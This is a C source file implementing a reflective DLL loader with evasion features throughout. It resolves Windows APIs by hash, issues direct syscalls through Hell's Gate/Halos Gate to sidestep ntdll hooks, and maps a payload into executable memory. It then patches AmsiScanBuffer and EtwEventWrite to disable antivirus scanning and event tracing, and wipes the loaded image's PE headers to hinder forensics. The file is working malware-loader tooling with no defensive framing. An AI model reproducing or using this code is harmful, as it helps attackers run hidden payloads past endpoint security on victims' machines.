#include "reflect.h"
#include <windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdint.h>

// forward decl to silence MinGW warning
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);

// PEB/LDR structs

typedef struct _RL_LDR_ENTRY {
    LIST_ENTRY     InLoadOrderLinks;
    LIST_ENTRY     InMemoryOrderLinks;
    LIST_ENTRY     InInitializationOrderLinks;
    PVOID          DllBase;
    PVOID          EntryPoint;
    ULONG          SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} RL_LDR_ENTRY;

typedef struct _RL_PEB_LDR {
    ULONG      Length;
    BOOLEAN    Initialized;
    PVOID      SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
} RL_PEB_LDR;

typedef struct _RL_PEB {
    BYTE       Reserved[2];
    BYTE       BeingDebugged;
    BYTE       Reserved2[1];
    PVOID      Reserved3[2];
    RL_PEB_LDR *Ldr;
} RL_PEB;

// fn pointer typedefs

typedef HMODULE  (WINAPI *pLoadLibraryA_t)          (LPCSTR);
typedef HMODULE  (WINAPI *pLoadLibraryExA_t)         (LPCSTR, HANDLE, DWORD);
typedef FARPROC  (WINAPI *pGetProcAddress_t)         (HMODULE, LPCSTR);
typedef LPVOID   (WINAPI *pVirtualAlloc_t)           (LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL     (WINAPI *pVirtualProtect_t)         (LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL     (WINAPI *pFlushInstructionCache_t)  (HANDLE, LPCVOID, SIZE_T);
typedef HANDLE   (WINAPI *pGetCurrentProcess_t)      (void);
typedef BOOL     (WINAPI *pDllMain_t)                (HINSTANCE, DWORD, LPVOID);
typedef LONG     (WINAPI *pNtAllocVm_t)              (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef LONG     (WINAPI *pNtProtectVm_t)            (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef BOOLEAN  (WINAPI *pRtlAddFunctionTable_t)    (PRUNTIME_FUNCTION, DWORD, DWORD64);

// ROR13+additive hashes - generated by tools/gen_hashes.py
// kernel32
#define H_LoadLibraryA          0x8A8B4676UL
#define H_LoadLibraryExA        0xA5919EE3UL
#define H_GetProcAddress        0x1ACAEE7AUL
#define H_VirtualAlloc          0x302EBE1CUL
#define H_FlushInstructionCache 0xD9303A47UL
#define H_GetCurrentProcess     0x1A4B89AAUL
// ntdll
#define H_NtAllocateVirtualMemory  0x5947FD91UL
#define H_NtProtectVirtualMemory   0x1255C05BUL
#define H_RtlAddFunctionTable      0xB11A8928UL
#define H_EtwEventWrite            0xBE87B7B5UL
// amsi.dll
#define H_AmsiScanBuffer        0x338E06F6UL

// stomp target - must have SizeOfImage >= ours
#define STOMP_DLL "C:\\Windows\\System32\\clbcatq.dll"

// debug telemetry, exported
typedef struct { WORD ssn_alloc; WORD ssn_protect; DWORD alloc_method; } RL_DBG;
#define RL_DBG_HELLSGATE  1u
#define RL_DBG_VIRTALLOC  2u
__declspec(dllexport) volatile RL_DBG _rl_dbg = {0xFFFF, 0xFFFF, 0};

// ROR13+additive hash, input uppercased
static DWORD _rl_hash(const char *s)
{
    DWORD h = 0;
    while (*s) {
        unsigned char c = (unsigned char)*s++;
        if (c >= 'a') c -= 0x20;
        h = (h >> 13) | (h << 19); // ROR13
        h += c;
    }
    return h;
}

// wide vs narrow case-insensitive compare, up to 12 chars
static int _rl_weq12(const WCHAR *w, const char *s)
{
    for (int i = 0; i < 12; i++) {
        if (!w[i] && !s[i]) return 1;
        if (!w[i] || !s[i]) return 0;
        if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) return 0;
    }
    return 1; // full 12-char match (e.g. "kernel32.dll")
}

// walk PEB module list, return kernel32 base
static ULONG_PTR _rl_find_kernel32(void)
{
#ifdef _WIN64
    RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
#else
    RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
#endif
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY cur  = head->Flink;
    while (cur != head) {
        RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
        if (e->BaseDllName.Length >= 24 && _rl_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
            return (ULONG_PTR)e->DllBase;
        cur = cur->Flink;
    }
    return 0;
}

// walk PEB module list, return ntdll base
static ULONG_PTR _rl_find_ntdll(void)
{
#ifdef _WIN64
    RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
#else
    RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
#endif
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY cur  = head->Flink;
    while (cur != head) {
        RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
        if (e->BaseDllName.Length >= 18 && _rl_weq12(e->BaseDllName.Buffer, "ntdll.dll\0\0\0"))
            return (ULONG_PTR)e->DllBase;
        cur = cur->Flink;
    }
    return 0;
}

// EAT walk by hash - ignores forwarded exports
static ULONG_PTR _rl_get_proc_h(ULONG_PTR mod, DWORD hash)
{
    PIMAGE_DOS_HEADER dos  = (PIMAGE_DOS_HEADER)mod;
    PIMAGE_NT_HEADERS nt   = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
    DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    DWORD expSz  = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    if (!expRva) return 0;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(mod + expRva);
    DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
    WORD  *ords  = (WORD  *)(mod + exp->AddressOfNameOrdinals);
    DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (_rl_hash((char *)(mod + names[i])) == hash) {
            DWORD fnRva = funcs[ords[i]];
            if (fnRva >= expRva && fnRva < expRva + expSz) return 0; // forwarded, skip
            return mod + fnRva;
        }
    }
    return 0;
}

// get SSN from ntdll stub (Hell's Gate / Halos Gate / Tartarus Gate)
static WORD _rl_ssn(ULONG_PTR ntdll, DWORD hash)
{
    ULONG_PTR stub = _rl_get_proc_h(ntdll, hash);
    if (!stub) return 0xFFFF;
    uint8_t *p = (uint8_t *)stub;

    // clean stub - read SSN from bytes 4-5
    if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8 && p[6]==0x00 && p[7]==0x00)
        return *(WORD *)(p + 4);

    // hooked - find real stub stride by scanning backward
    int stride = 0;
    for (int s = 1; s <= 256 && !stride; s++) {
        uint8_t *q = p - s;
        if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
            stride = s;
    }
    if (!stride) {
        for (int s = 1; s <= 256 && !stride; s++) {
            uint8_t *q = p + s;
            if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
                stride = s;
        }
    }
    if (!stride) stride = 32; // typical Win10/11 stub size

    for (int d = 1; d <= 32; d++) {
        uint8_t *n = p + d * stride;
        if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
            return (WORD)(*(WORD *)(n + 4) - (WORD)d);
        n = p - d * stride;
        if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
            return (WORD)(*(WORD *)(n + 4) + (WORD)d);
    }
    return 0xFFFF;
}

// must be in .data not .bss (no raw bytes on disk)
static volatile WORD _hg_ssn = 0xFFFF;

// set _hg_ssn before calling
__attribute__((naked))
static NTSTATUS _rl_hg_call(void)
{
    __asm__(
        "movzwl _hg_ssn(%rip), %eax\n\t"
        "movq   %rcx, %r10\n\t"
        "syscall\n\t"
        "ret\n\t"
    );
}

// scan backward from own RIP to find the MZ header of the raw DLL in memory
static ULONG_PTR _rl_find_own_base(void)
{
    ULONG_PTR ip = (ULONG_PTR)_rl_find_own_base & ~0xFFFUL;
    for (int i = 0; i < 4096; i++, ip -= 0x1000) {
        if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
        PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
        if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
        PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
        if (nt->Signature == IMAGE_NT_SIGNATURE && nt->OptionalHeader.SizeOfImage > 0)
            return ip;
    }
    return 0;
}

__declspec(dllexport)
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
{
    (void)lpParameter;

    // 1. find kernel32 + ntdll via PEB walk
    ULONG_PTR k32   = _rl_find_kernel32();
    ULONG_PTR ntdll = _rl_find_ntdll();
    if (!k32 || !ntdll) return 0;

    // 2. resolve APIs by hash - no plaintext strings
    pLoadLibraryA_t          fLLA  = (pLoadLibraryA_t)         _rl_get_proc_h(k32, H_LoadLibraryA);
    pLoadLibraryExA_t        fLLEA = (pLoadLibraryExA_t)       _rl_get_proc_h(k32, H_LoadLibraryExA);
    pGetProcAddress_t        fGPA  = (pGetProcAddress_t)        _rl_get_proc_h(k32, H_GetProcAddress);
    pVirtualAlloc_t          fVA   = (pVirtualAlloc_t)          _rl_get_proc_h(k32, H_VirtualAlloc);
    pFlushInstructionCache_t fFIC  = (pFlushInstructionCache_t) _rl_get_proc_h(k32, H_FlushInstructionCache);
    pGetCurrentProcess_t     fGCP  = (pGetCurrentProcess_t)     _rl_get_proc_h(k32, H_GetCurrentProcess);
    pRtlAddFunctionTable_t   fRAFT = (pRtlAddFunctionTable_t)   _rl_get_proc_h(ntdll, H_RtlAddFunctionTable);

    if (!fLLA || !fGPA || !fVA) return 0;

    // VirtualProtect is forwarded, EAT returns a string not a pointer
    pVirtualProtect_t fVP = (pVirtualProtect_t)fGPA((HMODULE)k32, "VirtualProtect");

    // 3. get syscall numbers for NtAllocate/NtProtect (bypasses ntdll hooks)
    WORD ssn_alloc   = _rl_ssn(ntdll, H_NtAllocateVirtualMemory);
    WORD ssn_protect = _rl_ssn(ntdll, H_NtProtectVirtualMemory);
    // save for telemetry
    _rl_dbg.ssn_alloc   = ssn_alloc;
    _rl_dbg.ssn_protect = ssn_protect;

    // 4. locate raw PE
    ULONG_PTR src = lpParameter ? (ULONG_PTR)lpParameter : _rl_find_own_base();
    if (!src) return 0;

    PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
    PIMAGE_NT_HEADERS srcNt  = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
    DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
    DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;

    // 5. allocate dst - priority: module stomp > NtAllocate syscall > VirtualAlloc
    ULONG_PTR dst = 0;

    // (a) module stomping - disabled
    // LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES) calls DllMain on Win10+ and hangs.
    // Needs NtCreateSection + NtMapViewOfSection for a proper implementation.
    (void)fLLEA;

    // (b) NtAllocateVirtualMemory syscall, try preferred base first
    if (!dst && ssn_alloc != 0xFFFF) {
        SIZE_T sz   = (SIZE_T)imgSz;
        PVOID  base = (PVOID)srcNt->OptionalHeader.ImageBase;
        _hg_ssn = ssn_alloc;
        if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
                                          MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
            dst = (ULONG_PTR)base;
        if (!dst) {
            base = NULL; sz = (SIZE_T)imgSz;
            _hg_ssn = ssn_alloc;
            if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
                                              MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
                dst = (ULONG_PTR)base;
        }
        if (dst) _rl_dbg.alloc_method = RL_DBG_HELLSGATE;
    }

    // (c) VirtualAlloc - plain fallback
    if (!dst)
        dst = (ULONG_PTR)fVA((LPVOID)srcNt->OptionalHeader.ImageBase,
                              imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!dst)
        dst = (ULONG_PTR)fVA(NULL, imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!dst) return 0;
    if (!_rl_dbg.alloc_method) _rl_dbg.alloc_method = RL_DBG_VIRTALLOC;

    // 6. copy headers
    { uint8_t *s=(uint8_t*)src, *d=(uint8_t*)dst; for(DWORD i=0;i<hdrSz;i++) d[i]=s[i]; }

    // 7. copy sections
    {
        PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
        for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
            if (!sec->PointerToRawData || !sec->SizeOfRawData) continue;
            uint8_t *ss = (uint8_t *)(src + sec->PointerToRawData);
            uint8_t *sd = (uint8_t *)(dst + sec->VirtualAddress);
            for (DWORD j = 0; j < sec->SizeOfRawData; j++) sd[j] = ss[j];
        }
    }

    PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
    LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);

    // 8. base relocations
    {
        DWORD relRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        DWORD relSz  = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        if (delta && relRva && relSz) {
            PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + relRva);
            while (reloc->VirtualAddress && reloc->SizeOfBlock) {
                ULONG_PTR page = dst + reloc->VirtualAddress;
                WORD *entry    = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
                DWORD cnt      = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                for (DWORD i = 0; i < cnt; i++) {
                    int   type = entry[i] >> 12;
                    DWORD off  = entry[i] & 0x0FFF;
#ifdef _WIN64
                    if (type == IMAGE_REL_BASED_DIR64)   *(ULONG_PTR *)(page+off) += (ULONG_PTR)delta;
#endif
                    if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page+off)     += (DWORD)delta;
                }
                reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
            }
        }
    }

    // 9. imports
    {
        DWORD impRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
        if (impRva) {
            PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + impRva);
            for (; imp->Name; imp++) {
                HMODULE hLib = fLLA((char *)(dst + imp->Name));
                if (!hLib) continue;
                IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
                IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
                    ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
                for (; ont->u1.AddressOfData; ont++, iat++) {
                    FARPROC proc;
                    if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
                        proc = fGPA(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
                    else {
                        PIMAGE_IMPORT_BY_NAME ibn =
                            (PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
                        proc = fGPA(hLib, (LPCSTR)ibn->Name);
                    }
                    iat->u1.Function = (ULONG_PTR)proc;
                }
            }
        }
    }

    // 10. per-section permissions
    {
        DWORD secAlign = dstNt->OptionalHeader.SectionAlignment;
        PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(dstNt);
        for (WORD i = 0; i < dstNt->FileHeader.NumberOfSections; i++, sec++) {
            if (!sec->VirtualAddress) continue;
            // round up to section alignment
            DWORD vsz = sec->Misc.VirtualSize ? sec->Misc.VirtualSize : sec->SizeOfRawData;
            DWORD msz = (vsz + secAlign - 1) & ~(secAlign - 1);
            if (!msz) continue;
            DWORD prot = PAGE_NOACCESS, c = sec->Characteristics;
            if (c & IMAGE_SCN_MEM_EXECUTE) {
                if      (c & IMAGE_SCN_MEM_WRITE) prot = PAGE_EXECUTE_READWRITE;
                else if (c & IMAGE_SCN_MEM_READ)  prot = PAGE_EXECUTE_READ;
                else                              prot = PAGE_EXECUTE;
            } else if (c & IMAGE_SCN_MEM_READ) {
                prot = (c & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
            } else if (c & IMAGE_SCN_MEM_WRITE) {
                prot = PAGE_WRITECOPY;
            }
            if (ssn_protect != 0xFFFF) {
                PVOID  addr = (PVOID)(dst + sec->VirtualAddress);
                SIZE_T sz   = (SIZE_T)msz;
                ULONG  old  = 0;
                _hg_ssn = ssn_protect;
                ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, prot, &old);
            } else if (fVP) {
                DWORD old;
                fVP((LPVOID)(dst + sec->VirtualAddress), msz, prot, &old);
            }
        }
    }

    // 11. register .pdata for x64 SEH
    if (fRAFT) {
        DWORD pdRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
        DWORD pdSz  = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
        if (pdRva && pdSz)
            fRAFT((PRUNTIME_FUNCTION)(dst + pdRva), pdSz / sizeof(RUNTIME_FUNCTION), (DWORD64)dst);
    }

    // 11b. init __security_cookie - /GS DLLs crash at function return without this
    {
        DWORD lcRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
        if (lcRva) {
            PIMAGE_LOAD_CONFIG_DIRECTORY64 lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)(dst + lcRva);
            if (lc->Size >= (DWORD)((ULONG_PTR)&lc->SecurityCookie - (ULONG_PTR)lc + sizeof(lc->SecurityCookie))
                && lc->SecurityCookie) {
                ULONG_PTR *ck = (ULONG_PTR *)lc->SecurityCookie;
                ULONG_PTR seed = (ULONG_PTR)ck ^ (ULONG_PTR)dst ^ (ULONG_PTR)lc;
                seed ^= (seed >> 16) ^ (seed << 13);
                if (!seed || seed == 0x00002B992DDFA232ULL) seed ^= 0xFACEB00CFACEB00CULL;
                *ck = seed;
            }
        }
    }

    // 12. AMSI 
    if (fVP) {
        HMODULE hAmsi = fLLA("amsi.dll");
        if (hAmsi) {
            LPVOID scan = (LPVOID)fGPA(hAmsi, "AmsiScanBuffer");
            if (scan) {
                DWORD old = 0;
                if (fVP(scan, 3, PAGE_EXECUTE_READWRITE, &old)) {
                    ((uint8_t *)scan)[0] = 0x31;
                    ((uint8_t *)scan)[1] = 0xC0;
                    ((uint8_t *)scan)[2] = 0xC3;
                    fVP(scan, 3, old, &old);
                }
            }
        }
    }

    // 13. ETW - patch EtwEventWrite: xor eax,eax; ret
    if (fVP) {
        ULONG_PTR etw = _rl_get_proc_h(ntdll, H_EtwEventWrite);
        if (etw) {
            DWORD old = 0;
            if (fVP((LPVOID)etw, 3, PAGE_EXECUTE_READWRITE, &old)) {
                ((uint8_t *)etw)[0] = 0x31;
                ((uint8_t *)etw)[1] = 0xC0;
                ((uint8_t *)etw)[2] = 0xC3;
                fVP((LPVOID)etw, 3, old, &old);
            }
        }
    }

    // 14. TLS - alloc slot, write index, call callbacks before DllMain
    {
        DWORD tlsRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
        if (tlsRva) {
            PIMAGE_TLS_DIRECTORY tlsDir = (PIMAGE_TLS_DIRECTORY)(dst + tlsRva);

            // alloc TLS slot
            typedef DWORD (WINAPI *pTlsAlloc_t)(void);
            pTlsAlloc_t fTlsAlloc = (pTlsAlloc_t)fGPA((HMODULE)k32, "TlsAlloc");
            if (fTlsAlloc && tlsDir->AddressOfIndex) {
                DWORD tlsIdx = fTlsAlloc();
                if (tlsIdx != TLS_OUT_OF_INDEXES)
                    *(DWORD *)(ULONG_PTR)tlsDir->AddressOfIndex = tlsIdx;
            }

            // call each callback with DLL_PROCESS_ATTACH
            if (tlsDir->AddressOfCallBacks) {
                PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)(ULONG_PTR)tlsDir->AddressOfCallBacks;
                while (*cb) {
                    (*cb)((PVOID)dst, DLL_PROCESS_ATTACH, NULL);
                    cb++;
                }
            }
        }
    }

    // 15. flush icache
    if (fFIC && fGCP) fFIC(fGCP(), (LPVOID)dst, imgSz);

    // 16. DllMain
    pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
    fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);

    // 17. erase PE headers
    if (fVP || ssn_protect != 0xFFFF) {
        if (ssn_protect != 0xFFFF) {
            PVOID  addr = (PVOID)dst;
            SIZE_T sz   = (SIZE_T)hdrSz;
            ULONG  old  = 0;
            _hg_ssn = ssn_protect;
            ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READWRITE, &old);
        } else {
            DWORD old;
            fVP((LPVOID)dst, hdrSz, PAGE_READWRITE, &old);
        }
    
        volatile uint8_t *p = (volatile uint8_t *)dst;
        for (DWORD i = 0; i < hdrSz; i++) p[i] = 0;
        if (ssn_protect != 0xFFFF) {
            PVOID  addr = (PVOID)dst;
            SIZE_T sz   = (SIZE_T)hdrSz;
            ULONG  old  = 0;
            _hg_ssn = ssn_protect;
            ((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READONLY, &old);
        } else {
            DWORD old;
            fVP((LPVOID)dst, hdrSz, PAGE_READONLY, &old);
        }
    }

    return dst;
}
